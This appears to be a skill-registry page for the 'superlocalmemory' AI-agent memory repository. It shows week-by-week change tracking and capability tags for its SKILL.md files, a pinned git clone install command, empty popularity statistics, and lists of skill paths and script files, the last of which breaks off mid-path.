Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-web-access/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-bot-memory/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-cache/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-compress/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-getting-started-bot/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-governance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-graph/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-loop/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-media/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-mesh/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-profile/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-recall/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-remember/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-scope/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-session/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-status/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin-src/skills/slm-web-access/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-bot-memory/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-cache/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-compress/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-getting-started-bot/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-governance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-graph/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-loop/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-media/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-mesh/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-profile/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-recall/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-remember/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-scope/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-session/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-status/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
plugin/skills/slm-web-access/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-bot-memory/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-cache/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-compress/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-getting-started-bot/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-governance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-graph/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-loop/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-media/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-mesh/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-profile/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-recall/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-remember/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-scope/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-session/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-status/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
vscode-agent-plugin/skills/slm-web-access/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
Verified commit 93e58692ce51b196a879a43e3974d378652db748
git clone --filter=blob:none --no-checkout https://github.com/qualixar/superlocalmemory.git .hotskills/qualixar-superlocalmemory && git -C .hotskills/qualixar-superlocalmemory checkout --detach 93e58692ce51b196a879a43e3974d378652db748
# Copy each selected skill directory from .hotskills/qualixar-superlocalmemory into .claude/skills/<skill-name>/git clone --filter=blob:none --no-checkout https://github.com/qualixar/superlocalmemory.git .hotskills/qualixar-superlocalmemory && git -C .hotskills/qualixar-superlocalmemory checkout --detach 93e58692ce51b196a879a43e3974d378652db748
# Copy each selected skill directory from .hotskills/qualixar-superlocalmemory into .agents/skills/<skill-name>/Heat
6.2- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- superlocalmemory
/ - slm-bot-memory
antigravity-plugin/skills/slm-bot-memory - slm-cache
antigravity-plugin/skills/slm-cache - slm-compress
antigravity-plugin/skills/slm-compress - slm-getting-started-bot
antigravity-plugin/skills/slm-getting-started-bot - slm-governance
antigravity-plugin/skills/slm-governance - slm-graph
antigravity-plugin/skills/slm-graph - slm-loop
antigravity-plugin/skills/slm-loop - slm-media
antigravity-plugin/skills/slm-media - slm-mesh
antigravity-plugin/skills/slm-mesh - slm-profile
antigravity-plugin/skills/slm-profile - slm-recall
antigravity-plugin/skills/slm-recall - slm-remember
antigravity-plugin/skills/slm-remember - slm-scope
antigravity-plugin/skills/slm-scope - slm-session
antigravity-plugin/skills/slm-session - slm-status
antigravity-plugin/skills/slm-status - slm-web-access
antigravity-plugin/skills/slm-web-access - superlocalmemory
clawhub-skill/superlocalmemory - slm-bot-memory
codex-plugin/skills/slm-bot-memory - slm-cache
codex-plugin/skills/slm-cache - slm-compress
codex-plugin/skills/slm-compress - slm-getting-started-bot
codex-plugin/skills/slm-getting-started-bot - slm-governance
codex-plugin/skills/slm-governance - slm-graph
codex-plugin/skills/slm-graph - slm-loop
codex-plugin/skills/slm-loop - slm-media
codex-plugin/skills/slm-media - slm-mesh
codex-plugin/skills/slm-mesh - slm-profile
codex-plugin/skills/slm-profile - slm-recall
codex-plugin/skills/slm-recall - slm-remember
codex-plugin/skills/slm-remember - slm-scope
codex-plugin/skills/slm-scope - slm-session
codex-plugin/skills/slm-session - slm-status
codex-plugin/skills/slm-status - slm-web-access
codex-plugin/skills/slm-web-access - slm-bot-memory
cursor-plugin/cursor-skills/slm-bot-memory - slm-cache
cursor-plugin/cursor-skills/slm-cache - slm-compress
cursor-plugin/cursor-skills/slm-compress - slm-getting-started-bot
cursor-plugin/cursor-skills/slm-getting-started-bot - slm-governance
cursor-plugin/cursor-skills/slm-governance - slm-graph
cursor-plugin/cursor-skills/slm-graph - slm-loop
cursor-plugin/cursor-skills/slm-loop - slm-media
cursor-plugin/cursor-skills/slm-media - slm-mesh
cursor-plugin/cursor-skills/slm-mesh - slm-profile
cursor-plugin/cursor-skills/slm-profile - slm-recall
cursor-plugin/cursor-skills/slm-recall - slm-remember
cursor-plugin/cursor-skills/slm-remember - slm-scope
cursor-plugin/cursor-skills/slm-scope - slm-session
cursor-plugin/cursor-skills/slm-session - slm-status
cursor-plugin/cursor-skills/slm-status - slm-web-access
cursor-plugin/cursor-skills/slm-web-access - superlocalmemory-web
docs/web-agents/superlocalmemory-web - slm-bot-memory
hermes-plugin/skills/slm-bot-memory - slm-cache
hermes-plugin/skills/slm-cache - slm-compress
hermes-plugin/skills/slm-compress - slm-getting-started-bot
hermes-plugin/skills/slm-getting-started-bot - slm-governance
hermes-plugin/skills/slm-governance - slm-graph
hermes-plugin/skills/slm-graph - slm-loop
hermes-plugin/skills/slm-loop - slm-media
hermes-plugin/skills/slm-media - slm-mesh
hermes-plugin/skills/slm-mesh - slm-profile
hermes-plugin/skills/slm-profile - slm-recall
hermes-plugin/skills/slm-recall - slm-remember
hermes-plugin/skills/slm-remember - slm-scope
hermes-plugin/skills/slm-scope - slm-session
hermes-plugin/skills/slm-session - slm-status
hermes-plugin/skills/slm-status - slm-web-access
hermes-plugin/skills/slm-web-access - slm-bot-memory
muse-plugin/skills/slm-bot-memory - slm-cache
muse-plugin/skills/slm-cache - slm-compress
muse-plugin/skills/slm-compress - slm-getting-started-bot
muse-plugin/skills/slm-getting-started-bot - slm-governance
muse-plugin/skills/slm-governance - slm-graph
muse-plugin/skills/slm-graph - slm-loop
muse-plugin/skills/slm-loop - slm-media
muse-plugin/skills/slm-media - slm-mesh
muse-plugin/skills/slm-mesh - slm-profile
muse-plugin/skills/slm-profile - slm-recall
muse-plugin/skills/slm-recall - slm-remember
muse-plugin/skills/slm-remember - slm-scope
muse-plugin/skills/slm-scope - slm-session
muse-plugin/skills/slm-session - slm-status
muse-plugin/skills/slm-status - slm-web-access
muse-plugin/skills/slm-web-access - slm-bot-memory
plugin-src/skills/slm-bot-memory - slm-cache
plugin-src/skills/slm-cache - slm-compress
plugin-src/skills/slm-compress - slm-getting-started-bot
plugin-src/skills/slm-getting-started-bot - slm-governance
plugin-src/skills/slm-governance - slm-graph
plugin-src/skills/slm-graph - slm-loop
plugin-src/skills/slm-loop - slm-media
plugin-src/skills/slm-media - slm-mesh
plugin-src/skills/slm-mesh - slm-profile
plugin-src/skills/slm-profile - slm-recall
plugin-src/skills/slm-recall - slm-remember
plugin-src/skills/slm-remember - slm-scope
plugin-src/skills/slm-scope - slm-session
plugin-src/skills/slm-session - slm-status
plugin-src/skills/slm-status - slm-web-access
plugin-src/skills/slm-web-access - slm-bot-memory
plugin/skills/slm-bot-memory - slm-cache
plugin/skills/slm-cache - slm-compress
plugin/skills/slm-compress - slm-getting-started-bot
plugin/skills/slm-getting-started-bot - slm-governance
plugin/skills/slm-governance - slm-graph
plugin/skills/slm-graph - slm-loop
plugin/skills/slm-loop - slm-media
plugin/skills/slm-media - slm-mesh
plugin/skills/slm-mesh - slm-profile
plugin/skills/slm-profile - slm-recall
plugin/skills/slm-recall - slm-remember
plugin/skills/slm-remember - slm-scope
plugin/skills/slm-scope - slm-session
plugin/skills/slm-session - slm-status
plugin/skills/slm-status - slm-web-access
plugin/skills/slm-web-access - slm-bot-memory
vscode-agent-plugin/skills/slm-bot-memory - slm-cache
vscode-agent-plugin/skills/slm-cache - slm-compress
vscode-agent-plugin/skills/slm-compress - slm-getting-started-bot
vscode-agent-plugin/skills/slm-getting-started-bot - slm-governance
vscode-agent-plugin/skills/slm-governance - slm-graph
vscode-agent-plugin/skills/slm-graph - slm-loop
vscode-agent-plugin/skills/slm-loop - slm-media
vscode-agent-plugin/skills/slm-media - slm-mesh
vscode-agent-plugin/skills/slm-mesh - slm-profile
vscode-agent-plugin/skills/slm-profile - slm-recall
vscode-agent-plugin/skills/slm-recall - slm-remember
vscode-agent-plugin/skills/slm-remember - slm-scope
vscode-agent-plugin/skills/slm-scope - slm-session
vscode-agent-plugin/skills/slm-session - slm-status
vscode-agent-plugin/skills/slm-status - slm-web-access
vscode-agent-plugin/skills/slm-web-access
How it works
superlocalmemory
When your agent uses it
AI agent memory with mathematical foundations. Store, recall, search, and manage memories locally. Local data root; optional networked features have separate behavior.
What it loads into context
Frontmatter
155 tokensAlways available to the agent
SKILL.md
1,647 tokensWhen the skill is activated
Reference documents
584,028 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Installation
- Quick Start
- Commands
- JSON Envelope
- Operating Modes
- Dual Interface
Scripts executed separately
Makefileantigravity-plugin/scripts/antigravity_hook_adapter.pybenchmark/_harness.pybenchmark/bench_perf.pybenchmark/exp12_learning_loop_ablation.pybenchmark/exp13_governance_envelope_cost.pybenchmark/exp1_erasure_completeness.pybenchmark/exp2_transaction_atomicity.pybenchmark/exp2b_real_owner_manifest.pybenchmark/exp3_migration_downgrade.pybenchmark/exp4_backup_restore_atomicity.pybenchmark/exp5_multitenant_isolation.pybenchmark/exp6_temporal_micro_eval.pybenchmark/exp7_generation_fence.pybenchmark/exp8_policy_registry.pybenchmark/exp_governed_latency.pybenchmark/recall_channels.pybenchmark/run_all.pybenchmarks/embedder_compare/build_dataset.pybenchmarks/embedder_compare/candidates.pybenchmarks/embedder_compare/e2e_daemon.pybenchmarks/embedder_compare/e2e_media.pybenchmarks/embedder_compare/e2e_media_checks.pybenchmarks/embedder_compare/embedders.pybenchmarks/embedder_compare/fetch_data.shbenchmarks/embedder_compare/fusion.pybenchmarks/embedder_compare/media_floor.pybenchmarks/embedder_compare/ocr.pybenchmarks/embedder_compare/ranking.pybenchmarks/embedder_compare/report.pybenchmarks/embedder_compare/rss.pybenchmarks/embedder_compare/run_eval.pybenchmarks/embedder_compare/stats.pybenchmarks/embedder_compare/synth_images.pybenchmarks/embedder_compare/synth_pdfs.pybenchmarks/embedder_compare/synth_visual.pybenchmarks/embedder_compare/tests/conftest.pybenchmarks/embedder_compare/tests/test_build.pybenchmarks/embedder_compare/tests/test_build_arxiv.pybenchmarks/embedder_compare/tests/test_candidates.pybenchmarks/embedder_compare/tests/test_e2e.pybenchmarks/embedder_compare/tests/test_e2e_media.pybenchmarks/embedder_compare/tests/test_pipeline.pybenchmarks/embedder_compare/tests/test_stats.pybenchmarks/embedder_compare/text_scale.pybenchmarks/embedder_compare/worker.pybenchmarks/resource_lifecycle/__init__.pybenchmarks/resource_lifecycle/harness.pybenchmarks/resource_lifecycle/run_benchmark.pybin/slmbin/slm-npmbin/slm.batbin/slm.cmdcodex-plugin/scripts/ensure-venv.batcodex-plugin/scripts/ensure-venv.shcodex-plugin/scripts/slm-launchcodex-plugin/scripts/slm-launch.batconftest.pycopilot-plugin/scripts/ensure-venv.batcopilot-plugin/scripts/ensure-venv.shcopilot-plugin/scripts/slm-launchcopilot-plugin/scripts/slm-launch.batcopilot-plugin/scripts/slm-resolve.shcopilot-plugin/scripts/slm-runcopilot-plugin/scripts/torch-cpu-resolve.shdocs/wiki-diagrams/check-wiki.pydocs/wiki-diagrams/render.shexamples/langchain_example.pyexamples/llamaindex_example.pyhermes-plugin/__init__.pyhermes-plugin/remote.pyide/completions/slm.bashide/completions/slm.zshide/hooks/context-hook.jside/hooks/memory-list-skill.jside/hooks/memory-profile-skill.jside/hooks/memory-recall-skill.jside/hooks/memory-remember-skill.jside/hooks/memory-reset-skill.jside/hooks/post-recall-hook.jside/hooks/tool-event-hook.shide/integrations/_engine_bridge.pyide/integrations/agent-framework/agent_framework_superlocalmemory/__init__.pyide/integrations/agent-framework/agent_framework_superlocalmemory/_v3_message_store.pyide/integrations/agent-framework/agent_framework_superlocalmemory/providers.pyide/integrations/agent-framework/tests/__init__.pyide/integrations/agent-framework/tests/conftest.pyide/integrations/agent-framework/tests/test_message_store.pyide/integrations/agent-framework/tests/test_providers.pyide/integrations/autogen/autogen_superlocalmemory/__init__.pyide/integrations/autogen/autogen_superlocalmemory/_v3_autogen_store.pyide/integrations/autogen/autogen_superlocalmemory/memory.pyide/integrations/autogen/tests/__init__.pyide/integrations/autogen/tests/conftest.pyide/integrations/autogen/tests/test_autogen_store.pyide/integrations/autogen/tests/test_memory.pyide/integrations/crewai/crewai_superlocalmemory/__init__.pyide/integrations/crewai/crewai_superlocalmemory/_v3_crewai_store.pyide/integrations/crewai/crewai_superlocalmemory/backend.pyide/integrations/crewai/hatch_build.pyide/integrations/crewai/tests/__init__.pyide/integrations/crewai/tests/conftest.pyide/integrations/crewai/tests/test_backend.pyide/integrations/crewai/tests/test_crewai_store.pyide/integrations/google-adk/google_adk_superlocalmemory/__init__.pyide/integrations/google-adk/google_adk_superlocalmemory/_v3_adk_store.pyide/integrations/google-adk/google_adk_superlocalmemory/memory_service.pyide/integrations/google-adk/hatch_build.pyide/integrations/google-adk/tests/__init__.pyide/integrations/google-adk/tests/conftest.pyide/integrations/google-adk/